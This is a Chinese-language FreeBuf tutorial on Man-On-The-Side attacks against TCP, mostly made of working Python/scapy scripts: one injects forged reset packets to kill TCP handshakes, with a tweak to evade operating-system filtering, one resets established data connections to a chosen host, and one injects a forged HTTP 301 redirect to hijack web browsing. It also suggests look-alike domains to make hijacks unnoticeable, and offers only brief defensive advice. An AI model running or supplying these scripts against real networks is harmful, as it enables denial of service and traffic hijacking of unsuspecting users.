MOTS攻擊之TCP攻擊
*本文原創作者:feiniao,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
1.
概述
繼續進行
MOTS類型攻擊方式的進展。這裡再次強調一下,MOTS 是指 Man-On-The-Side,是一種在旁路監聽模式下的攻擊方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中間人攻擊。MOTS 其原理是監聽與構造響應數據包,並在正常數據包返回之前插入偽造的數據包。其實現的核心條件是 TCP/IP 協議本身實現時並沒有考慮這方面的安全問題。MOTS 實現的整體邏輯如下所示,其中 Attack 是旁路監聽模式,而不是直接串在網路中的。這種類型的攻擊比中間人攻擊相對隱秘,其正常情況下只是監聽,需要攻擊時才進行攻擊,並且攻擊時只需要發送少量報文,不會出現大流量。所以具有隱蔽、難以發現、攻擊效果明顯等特點
。前面已經進行了MOTS相關原理及基於UDP應用攻擊的描述。不了解的可以點擊文末的閱讀原文查看下面兩篇文章:
《MOTS攻擊技術分析》
《MOTS攻擊之UDP攻擊》
學習過TCP/IP的同學都應該了解,傳輸層有兩種協協議:TCP和UDP,這兩種協議本身的特點決定了其應用場景的不同。TCP作為一種可靠的協議,其具有面向連接、可靠等特點。所以很多應用都基於TCP作開發,如應用最多的web應用。針對TCP的攻擊這裡主要介紹兩種方式:DOS和劫持,其他類型的攻擊,大家可以完善、補充。
2.
DOS攻擊
2.1 原理
大家知道,針對某一IP的特點埠進行探測其是否開放時,一般發送SYN,若其埠開放,對方回應SYN+ACK;若埠不開放,則回應reset。所以針對TCP的應用,我們進行DOS時,可以監聽其SYN包,一旦有客戶端發送SYN,直接給其回應reset,並且保證偽造的reset比正常的響應包早到,即可達到DOS的效果。其實現邏輯如下圖所示:
2.2 三次握手DOS
要實現對TCP應用的DOS,需要按照以下幾步實現:
1、構造reset報文
2、監聽網路中的TCP SYN報文
3、監聽到TCP SYN報文時,回應reset報文
2.2.1
安裝scapy庫
實現TCP的DOS攻擊是通過安裝python的第三方庫scapy庫來實現的,python本身沒有這個庫,需要手工安裝,具體安裝方法大家根據自己的系統與python版本自行安裝,本人測試是使用Win10 Pro+Python3.6。python 3.6版本可以通過命令: pip install scapy來安裝。
2.2.2
構造reset報文
reset報文結構相對較簡單,普通的TCP報文,只是其reset和ack位置一,且ack=前一報文的seq+1。對方收到reset報文後,其TCP層立即釋放TCP連接,reset報文比fin報文釋放連接時效率高很多,正常的TCP關閉使用FIN時需要四個報文,而使用reset來釋放的話只需要一個報文。
2.2.3
監聽並攻擊
攻擊程序代碼如下,大家可以根據實際情況修改:
coding:utf-8
『』』
date:2017-07-07
author:feiniao
Version:1.0
『』』
from scapy.all import *
import random
『』』
1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡
2、再使用conf.iface=』』綁定相應的網卡
3、linux需要在sniff()中指定相應的網卡
『』』
conf.iface=』Intel(R) Dual Band Wireless-AC 8260』
隨機ip欄位的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)
def buying(tcpmots):
resp = Ether()/IP()/TCP()
構造TCP相關欄位
resp[TCP].dport = tcpmots[TCP].sport
resp[TCP].sport = tcpmots[TCP].dport
resp[TCP].ack = tcpmots[TCP].seq + 1
resp[TCP].flags = 「RA」
resp[TCP].window = 0
構造IP包頭
resp[IP].src = tcpmots[IP].dst
resp[IP].dst = tcpmots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
構造乙太網包頭
resp[Ether].src = tcpmots[Ether].dst
resp[Ether].dst = tcpmots[Ether].src
發送構造的TCP DOS 包
sendp(resp,count=1)
print(「TCP DOS 攻擊」,resp[IP].dst,」成功」)
if
name
== 『main
『:
sniff(prn=buying,filter=』tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0』)
找到攻擊程序所在的目錄,直接輸入python tcpsyndos.py即可。
大家攻擊測試的情況可能和我一樣,收到客戶端的SYN包以後,明明發送了reset報文,並且對方也收到了,但是客戶端就是不釋放連接,並且正常的響應報文過來以後還可以正常交互。其報文交互如下所示:
通過上面的交互可以看到,192.168.0.105發送一個SYN報文,118.184.32.93首先回應了一個reset報文,其rst和ack位均置一。但是192.168.0.105並沒有釋放連接,然後收到118.184.32.93的syn+ack報文,反而建立成功了TCP的三次握手,後面還正常進行數據的交互。正常情況下,客戶端收到reset報文時的確應該是直接釋放TCP連接,但是攻擊在不斷進化與升級的同時,防護也同樣在升級。本人測試時使用的是Windows10 Pro版本,經分析,其應該是操作系統過濾了reset報文,至少是過濾了三次握手時的reset包,所以才導致連接並沒有釋放並且可以正常交互。
端系統對RST報文的過濾,大家可參考:http://www.vants.org/?post=140
如果有測試時出現攻擊者發送reset包的並且正常釋放連接的,那麼其端系統是沒有過濾reset報文的,測試成功的小夥伴可以聯繫我,我來完善一下。
2.2.4
攻擊對抗
既然客戶端過濾了reset那麼,那麼就沒有辦法針對三次握手時進行DOS了?呵呵!辦法還是有很多種的,大家知道,客戶端發送seq=x時,對方響應報文的ack=x+1,若ack!=x+1,那麼客戶端肯定會響應reset的。這樣話,就有了下面第一種針對方式,改變ack的大小,只需要把上面的代碼作下面的修改即可:
resp[TCP].ack = 0 //ack大小可以任意指定
resp[TCP].flags= "SA"
這樣修改的話,可以達到DOS的效果,實際攻擊效果如下:
2.3 數據交互DOS
這種DOS的攻擊場景為數據交互時,若瀏覽某個頁面時,傳輸數據時等。其只需要監聽客戶端的行為,並對特定的方式或內容進行DOS。
這裡本人實現時,只要有PUSH行為,就給DOS。代碼如下:
coding:utf-8
『』』
date:2017-07-11
author:feiniao
Version:1.0
『』』
from scapy.all import *
import random
『』』
1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡
2、再使用conf.iface=』』綁定相應的網卡
3、linux需要在sniff()中指定相應的網卡
『』』
conf.iface=』Intel(R) Dual Band Wireless-AC 8260』
隨機ip欄位的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)
def buying(tcpmots):
resp = Ether()/IP()/TCP()
構造TCP相關欄位
resp[TCP].dport = tcpmots[TCP].sport
resp[TCP].sport = tcpmots[TCP].dport
resp[TCP].seq = tcpmots[TCP].ack
resp[TCP].ack = tcpmots[TCP].seq + len(tcpmots[TCP].load)
resp[TCP].flags = 「RA」
resp[TCP].window = 0
構造IP包頭
resp[IP].src = tcpmots[IP].dst
resp[IP].dst = tcpmots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
構造乙太網包頭
resp[Ether].src = tcpmots[Ether].dst
resp[Ether].dst = tcpmots[Ether].src
發送構造的TCP DOS 包
sendp(resp,count=1)
print(「TCP DOS 攻擊」,resp[IP].dst,」成功」)
if
name
== 『main
『:sniff(prn=buying,filter=』tcp[tcpflags]&(tcp-push)!=0 and dst host 118.184.32.93』)
測試時,發現客戶端並沒有過濾PUSH數據交互時的reset報文,上面過濾了三次握手時的reset報文,可見reset報文的過濾在TCP層面可以有針對性的過濾。針對數據交互的DOS:
這裡大家可以根據具體需求進行完善。
2.4 對抗
2.4.1
加密
使用VPX、代理、https等方式
2.4.2
協議優化
以下純粹個人觀點:
針對MOTS類型的 TCP DOS方式的攻擊,客戶端發送syn報文後,一方面可以直接過濾reset報文,另一方面收到reset或者syn+ack但是ack序號不正確的報文不立即處理,而是等一段時間(如10ms),在這段時間內若有正常的syn+ack報文過來,則正常建立連接。
3.
TCP劫持與欺騙
3.1 原理
很簡單,在監聽到客戶端發送請求時,發送一個偽造的響應,並且比正常的響應早到,這樣即可達到欺騙的效果。生活中常見的如打開網頁時插入尾巴、廣告等方式一般情況下都是通過這種方式實現的。
3.2 實現
這裡實現一個打開任意網站時,返回一個301,並跳轉到freebuf的劫持。代碼如下,運行很簡單,
coding:utf-8
『』』
name:http mots attack
date:2017-07-11
author:feiniao
Version:1.0
『』』
from scapy.all import *
import random
『』』
1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡
2、再使用conf.iface=』』綁定相應的網卡
3、linux需要在sniff()中指定相應的網卡
『』』
conf.iface=』Intel(R) Dual Band Wireless-AC 8260』
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)#HTTP 301
data = 「HTTP/1.0 301 Moved Permanently
」
data += 「Server: Apache/1.3.17 (Unix) PHP/4.0.4
」
data += 「Location: http://www.freebuf.com
」
data += 「Content-Type: text/html; charset=iso-8859-1
」
data += 「Connection: close
」
data += 「
」
def buying(httpmots):
resp = Ether()/IP()/TCP()/data
構造TCP相關欄位
resp[TCP].dport = httpmots[TCP].sport
resp[TCP].sport = httpmots[TCP].dport
resp[TCP].seq = httpmots[TCP].ack
resp[TCP].ack = httpmots[TCP].seq + len(httpmots[TCP].load)
resp[TCP].flags = 「A」
resp[TCP].window = 12345
構造IP包頭
resp[IP].src = httpmots[IP].dst
resp[IP].dst = httpmots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
構造乙太網包頭
resp[Ether].src = httpmots[Ether].dst
resp[Ether].dst = httpmots[Ether].src
發送構造的TCP DOS 包
sendp(resp,count=1)
print(「HTTP劫持」,resp[IP].src,」成功」)
if
name
== 『main
『:過濾HTTP的GET請求
sniff(prn=buying,filter=』tcp[((tcp[12:1]&0xf0)>>2):4]=0x47455420 and not host 120.55.226.207』)
攻擊效果如下,打開www.cisco.com,返回的是www.freebuf.com的內容。有的同學可能說這個太直觀了,很容易發現,cisco和freebuf差別還是很大的,如果返回的是www.cisc0.com、 www.clsco.com、甚至前面有大牛寫的「同形異義」,這種方式就不好發現了。
運營X做劫持的方法之一為:返回302,返回內容中有 iframe,通過 iframe 載入正常的頁面,這樣的話很就難發現了。
上面實現時花費了很長時間,一直使用 python 的 scapy_http.http 庫來實現,但是在發送的時候一直報錯,由於本人python 新手,最後還是通過 scapy 構造 http 的數據來實現。有通過 scapy_http.http 庫實現的大牛,可以貢獻一下相關代碼,嘿嘿!在這裡先謝過。
3.3 對抗
大家自己總結吧,我上面也寫了很多。這裡就不作太多描述了。
*本文原創作者:feiniao,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※如何利用密碼學以及數論基礎攻擊一個「宣稱安全」的密碼系統
※2017年全球數據泄露成本研究報告解讀
※利用qq釣魚或者定位女友是否回家
※跨平台惡意軟體Adwind捲土重來,這一次倒霉的是航空航天領域
TAG:FreeBuf |
※RANCOR:針對東南亞的APT攻擊
※攻擊AI模型之FGSM演算法
※攻擊 AI 模型之 FGSM 演算法
※頭條:RANCOR利用DDKONG和PLAINTEE惡意軟體攻擊東南亞
※RANCOR使用PLAINTEE和DDKONG惡意軟體家族在東南亞進行針對性攻擊
※新的 CSS 攻擊會導致 iOS 系統重啟或 Mac 凍結
※朝鮮APT組織Lazarus使用KEYMARBLE後門攻擊俄羅斯
※FreeRTOS漏洞將多個系統暴露於攻擊之下
※英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密通過VPN發送的HTTP流量
※DDOS攻擊詳解
※谷歌Chrome OS將推新功能:防物理USB攻擊
※IC3、DHS、FBI聯合發布RDP攻擊預警
※PHP UDP攻擊查找源頭
※SYN攻擊如何利用TCP協議發動攻擊?
※LogMeinDNS流量藏惡意軟體,靶向攻擊PoS系統
※針對中東的APT攻擊:Big Bang
※英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密VPN流量
※獨家揭秘以太坊JSON-RPC介面最新攻擊方式「拾荒攻擊」
※基於IPMI協議的DDoS反射攻擊分析
※曾遭黑客攻擊的EOSBet重新上線